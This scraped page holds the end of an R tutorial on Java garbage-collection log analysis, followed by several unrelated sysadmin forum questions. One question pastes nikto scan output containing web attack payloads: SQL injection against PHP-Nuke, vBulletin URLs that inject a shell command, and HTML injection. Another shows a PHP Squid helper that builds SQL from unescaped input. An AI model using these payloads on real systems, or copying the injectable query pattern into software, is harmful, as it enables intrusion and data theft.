require(zoo) ## Loading required package: zoo ## ## Attaching package: 'zoo' ## ## The following objects are masked from 'package:base': ## ## as.Date, as.Date.numeric head(g1gc.df[,1]) ## [1] "2014-05-12T14:00:32.868-0700:" "2014-05-12T14:00:33.179-0700:" ## [3] "2014-05-12T14:00:33.677-0700:" "2014-05-12T14:00:35.538-0700:" ## [5] "2014-05-12T14:00:37.811-0700:" "2014-05-12T14:00:41.428-0700:" options("digits.secs"=3) times=as.POSIXct( g1gc.df[,1], format="%Y-%m-%dT%H:%M:%OS%z:") g1gc.z = zoo(g1gc.df[,-c(1)], order.by=times) head(g1gc.z) ## SecondsSinceLaunch IncrementalCount FullCount ## 2014-05-12 17:00:32.868 1.161 0 0 ## 2014-05-12 17:00:33.178 1.472 1 0 ## 2014-05-12 17:00:33.677 1.969 2 0 ## 2014-05-12 17:00:35.538 3.830 3 0 ## 2014-05-12 17:00:37.811 6.103 4 0 ## 2014-05-12 17:00:41.427 9.720 5 0 ## UserTime SysTime RealTime BeforeSize AfterSize ## 2014-05-12 17:00:32.868 0.11 0.04 0.02 8192 1400 ## 2014-05-12 17:00:33.178 0.05 0.01 0.02 5496 1672 ## 2014-05-12 17:00:33.677 0.04 0.01 0.01 5768 2557 ## 2014-05-12 17:00:35.538 0.21 0.05 0.04 22528 4907 ## 2014-05-12 17:00:37.811 0.08 0.01 0.02 24576 7072 ## 2014-05-12 17:00:41.427 0.26 0.06 0.04 43008 14336 ## TotalSize Delta ## 2014-05-12 17:00:32.868 9437184 6792 ## 2014-05-12 17:00:33.178 9437184 3824 ## 2014-05-12 17:00:33.677 9437184 3211 ## 2014-05-12 17:00:35.538 9437184 17621 ## 2014-05-12 17:00:37.811 9437184 17504 ## 2014-05-12 17:00:41.427 9437184 28672 Example of Two Benchmark Runs in One Log File The data in the following graph is from a different log file, not the one of primary interest to this article. I’m including this image because it is an example of idle periods followed by busy periods. It would be uninteresting to average the rate of garbage collection over the entire log file period. More interesting would be the rate of garbage collect in the two busy periods. Are they the same or different? Your production data may be similar, for example, bursts when employees return from lunch and idle times on weekend evenings, etc. Once the data is in an R Time Series, you can analyze isolated time windows. Clipping the Time Series data Flashing back to our test case… Viewing the data as a time series is interesting. You can see that the work intensive time period is between 9:00 PM and 3:00 AM. Lets clip the data to the interesting period:     par(mfrow=c(2,1)) plot(g1gc.z$UserTime, type="h", main="User Time per GC\nTime: Complete Log File", xlab="Time of Day", ylab="CPU Seconds per GC", col="#1b9e77") clipped.g1gc.z=window(g1gc.z, start=as.POSIXct("2014-05-12 21:00:00"), end=as.POSIXct("2014-05-13 03:00:00")) plot(clipped.g1gc.z$UserTime, type="h", main="User Time per GC\nTime: Limited to Benchmark Execution", xlab="Time of Day", ylab="CPU Seconds per GC", col="#1b9e77") box(which = "outer", lty = "solid") Cumulative Incremental and Full GC count Here is the cumulative incremental and full GC count. When the line is very steep, it indicates that the GCs are repeating very quickly. Notice that the scale on the Y axis is different for full vs. incremental. plot(clipped.g1gc.z[,c(2:3)], main="Cumulative Incremental and Full GC count", xlab="Time of Day", col="#1b9e77") GC Analysis of Benchmark Execution using Time Series data In the following series of 3 graphs: The “After Size” show the amount of heap space in use after each garbage collection. Many Java objects are still referenced, i.e. alive, during each garbage collection. This may indicate that the application has a memory leak, or may indicate that the application has a very large memory footprint. Typically, an application's memory footprint plateau's in the early stage of execution. One would expect this graph to have a flat top. The steep decline in the heap space may indicate that the application crashed after 2:00. The second graph shows that the outliers in real execution time, discussed above, occur near 2:00. when the Java heap seems to be quite full. The third graph shows that Full GCs are infrequent during the first few hours of execution. The rate of Full GC's, (the slope of the cummulative Full GC line), changes near midnight.   plot(clipped.g1gc.z[,c("AfterSize","RealTime","FullCount")], xlab="Time of Day", col=c("#1b9e77","red","#1b9e77")) GC Analysis of heap recovered Each GC trace includes the amount of heap space in use before and after the individual GC event. During garbage coolection, unreferenced objects are identified, the space holding the unreferenced objects is freed, and thus, the difference in before and after usage indicates how much space has been freed. The following box plot and bar chart both demonstrate the same point - the amount of heap space freed per garbage colloection is surprisingly low. par(mfrow=c(2,1)) boxplot(as.vector(clipped.g1gc.z$Delta), main="Amount of Heap Recovered per GC Pass", xlab="Size in KB", horizontal = TRUE, col="red") hist(as.vector(clipped.g1gc.z$Delta), main="Amount of Heap Recovered per GC Pass", xlab="Size in KB", breaks=100, col="red") box(which = "outer", lty = "solid") This graph is the most interesting. The dark blue area shows how much heap is occupied by referenced Java objects. This represents memory that holds live data. The red fringe at the top shows how much data was recovered after each garbage collection. barplot(clipped.g1gc.z[,c("AfterSize","Delta")], col=c("#7570b3","#e7298a"), xlab="Time of Day", border=NA) legend("topleft", c("Live Objects","Heap Recovered on GC"), fill=c("#7570b3","#e7298a")) box(which = "outer", lty = "solid") When I discuss the data in the log files with the customer, I will ask for an explaination for the large amount of referenced data resident in the Java heap. There are two are posibilities: There is a memory leak and the amount of space required to hold referenced objects will continue to grow, limited only by the maximum heap size. After the maximum heap size is reached, the JVM will throw an “Out of Memory” exception every time that the application tries to allocate a new object. If this is the case, the aplication needs to be debugged to identify why old objects are referenced when they are no longer needed. The application has a legitimate requirement to keep a large amount of data in memory. The customer may want to further increase the maximum heap size. Another possible solution would be to partition the application across multiple cluster nodes, where each node has responsibility for managing a unique subset of the data. Conclusion In conclusion, R is a very powerful tool for the analysis of Java garbage collection log files. The primary difficulty is data cleansing so that information can be read into an R data frame. Once the data has been read into R, a rich set of tools may be used for thorough evaluation.

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• Run CGI in IIS 7 to work with GET without Requiring POST Request

  - by Mohamed Meligy

  I'm trying to migrate an old CGI application from an existing Windows 2003 server (IIS 6.0) where it works just fine to a new Windows 2008 server with IIS 7.0 where we're getting the following problem: After setting up the module handler and everything, I find that I can only access the CGI application (rdbweb.exe) file if I'm calling it via POST request (form submit from another page). If I just try to type in the URL of the file (issuing a GET request) I get the following error: HTTP Error 502.2 - Bad Gateway The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are "Exception EInOutError in module rdbweb.exe at 00039B44. I/O error 6. ". This is a very old application for one of our clients. When we tried to call the vendor they said we need to pay ~ $3000 annual support fee in order to start the talk about it. Of course I'm trying to avoid that! Note that: If we create a normal HTML form that submits to "rdbweb.exe", we get the CGI working normally. We can't use this as workaround though because some pages in the application link to "rdbweb.exe" with normal link not form submit. If we run "rdbweb.exe". from a Console (Command Prompt) Window not IIS, we get the normal HTML we'd typically expect, no problem. We have tried the following: Ensuring the CGI module mapped to "rdbweb.exe".in IIS has all permissions (read, write, execute) enabled and also all verbs are allowed not just specific ones, also tried allowing GET, POST explicitely. Ensuring the application bool has "enable 32 bit applications" set to true. Ensuring the website runs with an account that has full permissions on the "rdbweb.exe".file and whole website (although we know it "read", "execute" should be enough). Ensuring the machine wide IIS setting for "ISAPI and CGI Restrictions" has the full path to "rdbweb.exe".allowed. Making sure we have the latest Windows Updates (for IIS6 we found knowledge base articles stating bugs that require hot fixes for IIS6, but nothing similar was found for IIS7). Changing the module from CGI to Fast CGI, not working also Now the only remaining possibility we have instigated is the following Microsoft Knowledge Base article:http://support.microsoft.com/kb/145661 - Which is about: CGI Error: The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: the article suggests the following solution: Modify the source code for the CGI application header output. The following is an example of a correct header: print "HTTP/1.0 200 OK\n"; print "Content-Type: text/html\n\n\n"; Unfortunately we do not have the source to try this out, and I'm not sure anyway whether this is the issue we're having. Can you help me with this problem? Is there a way to make the application work without requiring POST request? Note that on the old IIS6 server the application is working just fine, and I could not find any special IIS configuration that I may want to try its equivalent on IIS7.

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• How to bridge Debian guest VM to VPN via Cisco AnyConnect Client running on Windows Vista host

  - by bgoodr

  I am running Cisco Anyconnect VPN Client version 2.5.3054 on a laptop running Windows Vista Home Premium (version 6.0.6002) Service Pack 2. I am running the VMware Player version 4.0.2 build-591240. The host operating system running under VMware Player is Debian 6.0.2.1 i386. The laptop is connected to a wireless connection, and I can browse the web from Windows Vista using Firefox just fine. I am able to boot into the Debian VM and open up a browser and access websites on the WAN from within the VM just fine. I can ping real Linux hosts on my LAN via: ping <lan_system>.local where <lan_system> is the hostname returned from uname -a on that system on my LAN. From a DOS CMD shell, I am able to ping hosts that exist on the remote network served by the Cisco AnyConnect Client's VPN network (and without the .local suffix applied as above): ping <remote_system> However, from within the Debian VM, I expect to be able to also ping those same remote hosts (<remote_system>) that are tunnelled over the VPN set up by Cisco AnyConnect Client. Let's say that I can ping a <remote_system> called flubber from a DOS CMD prompt just fine. When I execute Linux ping command from inside the Debian VM via: ping flubber It returns immediately with this output: ping: unknown host flubber For reference since I suspect it will be useful, here is the output of the route print command from the DOS CMD prompt: route print =========================================================================== Interface List 30 ...00 05 9a 3c 7a 00 ...... Cisco AnyConnect VPN Virtual Miniport Adapter for Windows 11 ...00 1b 9e c4 de e5 ...... Atheros AR5007EG Wireless Network Adapter 26 ...00 50 56 c0 00 01 ...... VMware Virtual Ethernet Adapter for VMnet1 28 ...00 50 56 c0 00 08 ...... VMware Virtual Ethernet Adapter for VMnet8 1 ........................... Software Loopback Interface 1 12 ...02 00 54 55 4e 01 ...... Teredo Tunneling Pseudo-Interface 13 ...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3 32 ...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #4 27 ...00 00 00 00 00 00 00 e0 isatap.{E5292CF6-4FBB-4320-806D-A6B366769255} 17 ...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2 20 ...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #8 22 ...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #10 24 ...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #11 25 ...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #12 29 ...00 00 00 00 00 00 00 e0 isatap.{C3852986-5053-4E2E-BE60-52EA2FCF5899} 41 ...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #14 =========================================================================== At the top window border of the VM, clicking on Virtual Machine, then clicking on Virtual Machine Settings, then clicking on Network Adapter, I have these two options checked: [X] Bridged: Connected directly to the physical Network [X] Replicate physical network connection state [ ] NAT: used to share the hosts's IP address [ ] Host-only: A private network shared with the host [ ] LAN segment: [ ] <LAN Segments...> <Advanced> I've toyed with the other options such as NAT and Host-only but that had no effect. Is there some way to allow the VM to access those <remote_system>'s?

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• disk-to-disk backup without costly backup redundancy?

  - by AaronLS

  A good backup strategy involves a combination of 1) disconnected backups/snapshots that will not be affected by bugs, viruses, and/or security breaches 2) geographically distributed backups to protect against local disasters 3) testing backups to ensure that they can be restored as needed Generally I take an onsite backup daily, and an offsite backup weekly, and do test restores periodically. In the rare circumstance that I need to restore files, I do some from the local backup. Should a catastrophic event destroy the servers and local backups, then the offsite weekly tape backup would be used to restore the files. I don't need multiple offsite backups with redundancy. I ALREADY HAVE REDUNDANCY THROUGH THE USE OF BOTH LOCAL AND REMOTE BACKUPS. I have recovery blocks and par files with the backups, so I already have protection against a small percentage of corrupt bits. I perform test restores to ensure the backups function properly. Should the remote backups experience a dataloss, I can replace them with one of the local backups. There are historical offsite backups as well, so if a dataloss was not noticed for a few weeks(such as a bug/security breach/virus), the data could be restored from an older backup. By doing this, the only scenario that poses a risk to complete data loss would be one where both the local, remote, and servers all experienced a data loss in the same time period. I'm willing to risk that happening since the odds of that trifecta negligibly small, and the data isn't THAT valuable to me. So I hope I have emphasized that I don't need redundancy in my offsite backups because I have covered all the bases. I know this exact technique is employed by numerous businesses. Of course there are some that take multiple offsite backups, because the data is so incredibly valuable that they don't even want to risk that trifecta disaster, but in the majority of cases the trifecta disaster is an accepted risk. I HAD TO COVER ALL THIS BECAUSE SOME PEOPLE DON'T READ!!! I think I have justified my backup strategy and the majority of businesses who use offsite tape backups do not have any additional redundancy beyond what is mentioned above(recovery blocks, par files, historical snapshots). Now I would like to eliminate the use of tapes for offsite backups, and instead use a backup service. Most however are extremely costly for $/gb/month storage. I don't mind paying for transfer bandwidth, but the cost of storage is way to high. All of them advertise that they maintain backups of the data, and I imagine they use RAID as well. Obviously if you were using them to host servers this would all be necessary, but for my scenario, I am simply replacing my offsite backups with such a service. So there is no need for RAID, and absolutely no value in another layer of backups of backups. My one and only question: "Are there online data-storage/backup services that do not use redundancy or offer backups(backups of my backups) as part of their packages, and thus are more reasonably priced?" NOT my question: "Is this a flawed strategy?" I don't care if you think this is a good strategy or not. I know it pretty standard. Very few people make an extra copy of their offsite backups. They already have local backups that they can use to replace the remote backups if something catastrophic happens at the remote site. Please limit your responses to the question posed. Sorry if I seem a little abrasive, but I had some trolls in my last post who didn't read my requirements nor my question, and were trying to go off answering a totally different question. I made it pretty clear, but didn't try to justify my strategy, because I didn't ask about whether my strategy was justifyable. So I apologize if this was lengthy, as it really didn't need to be, but since there are so many trolls here who try to sidetrack questions by responding without addressing the question at hand.

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• Cannot connect to MySQL over TCP locally - Connection Timeout - Ubuntu 9.04

  - by gav

  I am running Ubuntu and am ultimately trying to connect Tomcat to my MySQL database using JDBC. It has worked previously but after a reboot the instance now fails to connect. Both Tomcat 6 and MySQL 5.0.75 are on the same machine Connection string: jdbc:mysql:///localhost:3306 I can connect to MySQL on the command line using the mysql command The my.cnf file is pretty standard (Available on request) has bind address: 127.0.0.1 I cannot Telnet to the MySQL port despite netstat saying MySQL is listening I have one IpTables rule to forward 80 - 8080 and no firewall I'm aware of. I'm pretty new to this and I'm not sure what else to test. I don't know whether I should be looking in etc/interfaces and if I did what to look for. It's weird because it used to work but after a reboot it's down so I must have changed something.... :). I realise a timeout indicates the server is not responding and I assume it's because the request isn't actually getting through. I installed MySQL via apt-get and Tomcat manually. MySqld processes root@88:/var/log/mysql# ps -ef | grep mysqld root 21753 1 0 May27 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe mysql 21792 21753 0 May27 ? 00:00:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 --socket=/var/run/mysqld/mysqld.sock root 21793 21753 0 May27 ? 00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqld root 21888 13676 0 11:23 pts/1 00:00:00 grep mysqld Netstat root@88:/var/log/mysql# netstat -lnp | grep mysql tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 21792/mysqld unix 2 [ ACC ] STREAM LISTENING 1926205077 21792/mysqld /var/run/mysqld/mysqld.sock Toy Connection Class root@88:~# cat TestConnect/TestConnection.java import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; public class TestConnection { public static void main(String args[]) throws Exception { Connection con = null; try { Class.forName("com.mysql.jdbc.Driver").newInstance(); System.out.println("Got driver"); con = DriverManager.getConnection( "jdbc:mysql:///localhost:3306", "uname", "pass"); System.out.println("Got connection"); if(!con.isClosed()) System.out.println("Successfully connected to " + "MySQL server using TCP/IP..."); } finally { if(con != null) con.close(); } } } Toy Connection Class Output Note: This is the same error I get from Tomcat. root@88:~/TestConnect# java -cp mysql-connector-java-5.1.12-bin.jar:. TestConnection Got driver Exception in thread "main" com.mysql.jdbc.exceptions.jdbc4.CommunicationsException: Communications link failure The last packet sent successfully to the server was 1 milliseconds ago. The driver has not received any packets from the server. at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:39) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:27) at java.lang.reflect.Constructor.newInstance(Constructor.java:513) at com.mysql.jdbc.Util.handleNewInstance(Util.java:409) at com.mysql.jdbc.SQLError.createCommunicationsException(SQLError.java:1122) at TestConnection.main(TestConnection.java:14) Caused by: com.mysql.jdbc.exceptions.jdbc4.CommunicationsException: Communications link failure The last packet sent successfully to the server was 0 milliseconds ago. The driver has not received any packets from the server. at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:39) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:27) at java.lang.reflect.Constructor.newInstance(Constructor.java:513) at com.mysql.jdbc.Util.handleNewInstance(Util.java:409) at com.mysql.jdbc.SQLError.createCommunicationsException(SQLError.java:1122) at com.mysql.jdbc.MysqlIO.<init>(MysqlIO.java:344) at com.mysql.jdbc.ConnectionImpl.createNewIO(ConnectionImpl.java:2181) ... 12 more Caused by: java.net.ConnectException: Connection timed out at java.net.PlainSocketImpl.socketConnect(Native Method) ... 13 more Telnet Output root@88:~/TestConnect# telnet localhost 3306 Trying 127.0.0.1... telnet: Unable to connect to remote host: Connection timed out

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• nikto probe warning messages

  - by julio

  Hi-- I have a pretty standard VPS running Ubuntu 8.1, Apache 2.2, PHP 5 etc. -- standard Lamp stack. I am using suhosin and have tried my best to plug the obvious stuff, since I'm the only user-- there's no SSH access except via pubkey on a non-standard port, there's no root access by SSH, no FTP server running, iptables is set to discard anything outside of basically port 80 or my SSH port (there's no mail server or anything else). However, I've still been compromised (not badly as far as I can tell) probably by a SQL injection. I've locked down the SQL user (there's only one outside of root, and he's got limited priv, no file etc.) So I ran nikto to see what I'm doing wrong, and there's a list of things I've never seen, and can't find using "find" or any other method I'm aware of. See below: + /autologon.html?10514: Remotely Anywhere 5.10.415 is vulnerable to XSS attacks that can lead to cookie theft or privilege escalation. This is typically found on port 2000. + /servlet/webacc?User.html=noexist: Netware web access may reveal full path of the web server. Apply vendor patch or upgrade. + OSVDB-35878: /modules.php?name=Members_List&letter='%20OR%20pass%20LIKE%20'a%25'/*: PHP Nuke module allows user names and passwords to be viewed. + OSVDB-3092: /sitemap.xml: This gives a nice listing of the site content. + OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests which contain specific QUERY strings. + OSVDB-12184: /some.php?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests which contain specific QUERY strings. + OSVDB-12184: /some.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests which contain specific QUERY strings. + OSVDB-12184: /some.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests which contain specific QUERY strings. + OSVDB-3092: /administrator/: This might be interesting... + OSVDB-3092: /Agent/: This might be interesting... + OSVDB-3092: /includes/: This might be interesting... + OSVDB-3092: /logs/: This might be interesting... + OSVDB-3092: /tmp/: This might be interesting... + ERROR: /servlet/Counter returned an error: error reading HTTP response + OSVDB-3268: /icons/: Directory indexing is enabled: /icons + OSVDB-3268: /images/: Directory indexing is enabled: /images + OSVDB-3299: /forumscalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See link + OSVDB-3299: /forumzcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See link + OSVDB-3299: /htforumcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See link + OSVDB-3299: /vbcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See link + OSVDB-3299: /vbulletincalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See link + OSVDB-6659: /kCKAowoWuZkKCUPH7Mr675ILd9hFg1lnyc1tWUuEbkYkFCpCdEnCKkkd9L0bY34tIf9l6t2owkUp9nI5PIDmQzMokDbp71QFTZGxdnZhTUIzxVrQhVgwmPYsMK7g34DURzeiy3nyd4ezX5NtUozTGqMkxDrLheQmx4dDYlRx0vKaX41JX40GEMf21TKWxHAZSUxjgXUnIlKav58GZQ5LNAwSAn13l0w<font%20size=50>DEFACED<!--//--: MyWebServer 1.0.2 is vulnerable to HTML injection. Upgrade to a later version. I understand about the trace and index, but what about the vbulletin and autologin? I've searched, and I can't find any files like that on the server. I have no idea about the "MyWebServer" stuff, the PHP Nuke, or the Netware/servlet stuff-- there's nothing really on the server except a pretty standard Joomla site (updated to the latest version). Any help with these messages and/or what I'm doing wrong is very much appreciated.

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• No device file for partition on logical volume (Linux LVM)

  - by Brian

  I created a logical volume (scandata) containing a single ext3 partition. It is the only logical volume in its volume group (case4t). Said volume group is comprised by 3 physical volumes, which are three primary partitions on a single block device (/dev/sdb). When I created it, I could mount the partition via the block device /dev/mapper/case4t-scandatap1. Since last reboot the aforementioned block device file has disappeared. It may be of note -- I'm not sure -- that my superior (a college professor) had prompted this reboot by running sudo chmod -R [his name] /usr/bin, which obliterated all suid in its path, preventing the both of us from sudo-ing. That issue has been (temporarily) rectified via this operation. Now I'll cut the chatter and get started with the terminal dumps: $ sudo pvs; sudo vgs; sudo lvs Logging initialised at Sat Jan 8 11:42:34 2011 Set umask to 0077 Scanning for physical volume names PV VG Fmt Attr PSize PFree /dev/sdb1 case4t lvm2 a- 819.32G 0 /dev/sdb2 case4t lvm2 a- 866.40G 0 /dev/sdb3 case4t lvm2 a- 47.09G 0 Wiping internal VG cache Logging initialised at Sat Jan 8 11:42:34 2011 Set umask to 0077 Finding all volume groups Finding volume group "case4t" VG #PV #LV #SN Attr VSize VFree case4t 3 1 0 wz--n- 1.69T 0 Wiping internal VG cache Logging initialised at Sat Jan 8 11:42:34 2011 Set umask to 0077 Finding all logical volumes LV VG Attr LSize Origin Snap% Move Log Copy% Convert scandata case4t -wi-a- 1.69T Wiping internal VG cache $ sudo vgchange -a y Logging initialised at Sat Jan 8 11:43:14 2011 Set umask to 0077 Finding all volume groups Finding volume group "case4t" 1 logical volume(s) in volume group "case4t" already active 1 existing logical volume(s) in volume group "case4t" monitored Found volume group "case4t" Activated logical volumes in volume group "case4t" 1 logical volume(s) in volume group "case4t" now active Wiping internal VG cache $ ls /dev | grep case4t case4t $ ls /dev/mapper case4t-scandata control $ sudo fdisk -l /dev/case4t/scandata Disk /dev/case4t/scandata: 1860.5 GB, 1860584865792 bytes 255 heads, 63 sectors/track, 226203 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Disk identifier: 0x00049bf5 Device Boot Start End Blocks Id System /dev/case4t/scandata1 1 226203 1816975566 83 Linux $ sudo parted /dev/case4t/scandata print Model: Linux device-mapper (linear) (dm) Disk /dev/mapper/case4t-scandata: 1861GB Sector size (logical/physical): 512B/512B Partition Table: msdos Number Start End Size Type File system Flags 1 32.3kB 1861GB 1861GB primary ext3 $ sudo fdisk -l /dev/sdb Disk /dev/sdb: 1860.5 GB, 1860593254400 bytes 255 heads, 63 sectors/track, 226204 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Disk identifier: 0x00000081 Device Boot Start End Blocks Id System /dev/sdb1 1 106955 859116006 83 Linux /dev/sdb2 113103 226204 908491815 83 Linux /dev/sdb3 106956 113102 49375777+ 83 Linux Partition table entries are not in disk order $ sudo parted /dev/sdb print Model: DELL PERC 6/i (scsi) Disk /dev/sdb: 1861GB Sector size (logical/physical): 512B/512B Partition Table: msdos Number Start End Size Type File system Flags 1 32.3kB 880GB 880GB primary reiserfs 3 880GB 930GB 50.6GB primary 2 930GB 1861GB 930GB primary I find it a bit strange that partition one above is said to be reiserfs, or if it matters -- it was previously reiserfs, but LVM recognizes it as a PV. To reiterate, neither /dev/mapper/case4t-scandatap1 (which I had used previously) nor /dev/case4t/scandata1 (as printed by fdisk) exists. And /dev/case4t/scandata (no partition number) cannot be mounted: $sudo mount -t ext3 /dev/case4t/scandata /mnt/new mount: wrong fs type, bad option, bad superblock on /dev/mapper/case4t-scandata, missing codepage or helper program, or other error In some cases useful info is found in syslog - try dmesg | tail or so All I get on syslog is: [170059.538137] VFS: Can't find ext3 filesystem on dev dm-0. Thanks in advance for any help you can offer, Brian P.S. I am on Ubuntu GNU/Linux 2.6.28-11-server (Jaunty) (out of date, I know -- that's on the laundry list).

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• Logging to MySQL without empty rows/skipped records?

  - by Lee Ward

  I'm trying to figure out how to make Squid proxy log to MySQL. I know ACL order is pretty important but I'm not sure if I understand exactly what ACLs are or do, it's difficult to explain, but hopefully you'll see where I'm going with this as you read! I have created the lines to make Squid interact with a helper in squid.conf as follows: external_acl_type mysql_log %LOGIN %SRC %PROTO %URI php /etc/squid3/custom/mysql_lg.php acl ex_log external mysql_log http_access allow ex_log The external ACL helper (mysql_lg.php) is a PHP script and is as follows: error_reporting(0); if (! defined(STDIN)) { define("STDIN", fopen("php://stdin", "r")); } $res = mysql_connect('localhost', 'squid', 'testsquidpw'); $dbres = mysql_select_db('squid', $res); while (!feof(STDIN)) { $line = trim(fgets(STDIN)); $fields = explode(' ', $line); $user = rawurldecode($fields[0]); $cli_ip = rawurldecode($fields[1]); $protocol = rawurldecode($fields[2]); $uri = rawurldecode($fields[3]); $q = "INSERT INTO logs (id, user, cli_ip, protocol, url) VALUES ('', '".$user."', '".$cli_ip."', '".$protocol."', '".$uri."');"; mysql_query($q) or die (mysql_error()); if ($fault) { fwrite(STDOUT, "ERR\n"); }; fwrite(STDOUT, "OK\n"); } The configuration I have right now looks like this: ## Authentication Handler auth_param ntlm program /usr/bin/ntlm_auth --helper-protocol=squid-2.5-ntlmssp auth_param ntlm children 30 auth_param negotiate program /usr/bin/ntlm_auth --helper-protocol=squid-2.5-basic auth_param negotiate children 5 # Allow squid to update log external_acl_type mysql_log %LOGIN %SRC %PROTO %URI php /etc/squid3/custom/mysql_lg.php acl ex_log external mysql_log http_access allow ex_log acl localnet src 172.16.45.0/24 acl AuthorizedUsers proxy_auth REQUIRED acl SSL_ports port 443 acl Safe_ports port 80 # http acl Safe_ports port 21 # ftp acl Safe_ports port 443 # https acl CONNECT method CONNECT acl blockeddomain url_regex "/etc/squid3/bl.acl" http_access deny blockeddomain deny_info ERR_BAD_GENERAL blockeddomain # Deny requests to certain unsafe ports http_access deny !Safe_ports # Deny CONNECT to other than secure SSL ports http_access deny CONNECT !SSL_ports # Allow the internal network access to this proxy http_access allow localnet # Allow authorized users access to this proxy http_access allow AuthorizedUsers # FINAL RULE - Deny all other access to this proxy http_access deny all From testing, the closer to the bottom I place the logging lines the less it logs. Oftentimes, it even places empty rows in to the MySQL table. The file-based logs in /var/log/squid3/access.log are correct but many of the rows in the access logs are missing from the MySQL logs. I can't help but think it's down to the order I'm putting lines in because I want to log everything to MySQL, unauthenticated requests, blocked requests, which category blocked a specific request. The reason I want this in MySQL is because I'm trying to have everything managed via a custom web-based frontend and want to avoid using any shell commands and access to system log files if I can help it. The end result is to make it as easy as possible to maintain without keeping staff waiting on the phone whilst I add a new rule and reload the server! Hopefully someone can help me out here because this is very much a learning experience for me and I'm pretty stumped. Many thanks in advance for any help!

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• GNU/Linux swapping blocks system

  - by Ole Tange

  I have used GNU/Linux on systems from 4 MB RAM to 512 GB RAM. When they start swapping, most of the time you can still log in and kill off the offending process - you just have to be 100-1000 times more patient. On my new 32 GB system that has changed: It blocks when it starts swapping. Sometimes with full disk activity but other times with no disk activity. To examine what might be the issue I have written this program. The idea is: 1 grab 3% of the memory free right now 2 if that caused swap to increase: stop 3 keep the chunk used for 30 seconds by forking off 4 goto 1 - #!/usr/bin/perl sub freekb { my $free = `free|grep buffers/cache`; my @a=split / +/,$free; return $a[3]; } sub swapkb { my $swap = `free|grep Swap:`; my @a=split / +/,$swap; return $a[2]; } my $swap = swapkb(); my $lastswap = $swap; my $free; while($lastswap >= $swap) { print "$swap $free"; $lastswap = $swap; $swap = swapkb(); $free = freekb(); my $used_mem = "x"x(1024 * $free * 0.03); if(not fork()) { sleep 30; exit(); } } print "Swap increased $swap $lastswap\n"; Running the program forever ought to keep the system at the limit of swapping, but only grabbing a minimal amount of swap and do that very slowly (i.e. a few MB at a time at most). If I run: forever free | stdbuf -o0 timestamp > freelog I ought to see swap slowly rising every second. (forever and timestamp from https://github.com/ole-tange/tangetools). But that is not the behaviour I see: I see swap increasing in jumps and that the system is completely blocked during these jumps. Here the system is blocked for 30 seconds with the swap usage increases with 1 GB: secs 169.527 Swap: 18440184 154184 18286000 170.531 Swap: 18440184 154184 18286000 200.630 Swap: 18440184 1134240 17305944 210.259 Swap: 18440184 1076228 17363956 Blocked: 21 secs. Swap increase 2400 MB: 307.773 Swap: 18440184 581324 17858860 308.799 Swap: 18440184 597676 17842508 330.103 Swap: 18440184 2503020 15937164 331.106 Swap: 18440184 2502936 15937248 Blocked: 20 secs. Swap increase 2200 MB: 751.283 Swap: 18440184 885288 17554896 752.286 Swap: 18440184 911676 17528508 772.331 Swap: 18440184 3193532 15246652 773.333 Swap: 18440184 1404540 17035644 Blocked: 37 secs. Swap increase 2400 MB: 904.068 Swap: 18440184 613108 17827076 905.072 Swap: 18440184 610368 17829816 942.424 Swap: 18440184 3014668 15425516 942.610 Swap: 18440184 2073580 16366604 This is bad enough, but what is even worse is that the system sometimes stops responding at all - even if I wait for hours. I have the feeling it is related to the swapping issue, but I cannot tell for sure. My first idea was to tweak /proc/sys/vm/swappiness from 60 to 0 or 100, just to see if that had any effect at all. 0 did not have an effect, but 100 did cause the problem to arise less often. How can I prevent the system from blocking for such a long time? Why does it decide to swapout 1-3 GB when less than 10 MB would suffice?

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• WDS DHCP same server on Windows Server 2008

  - by Richard

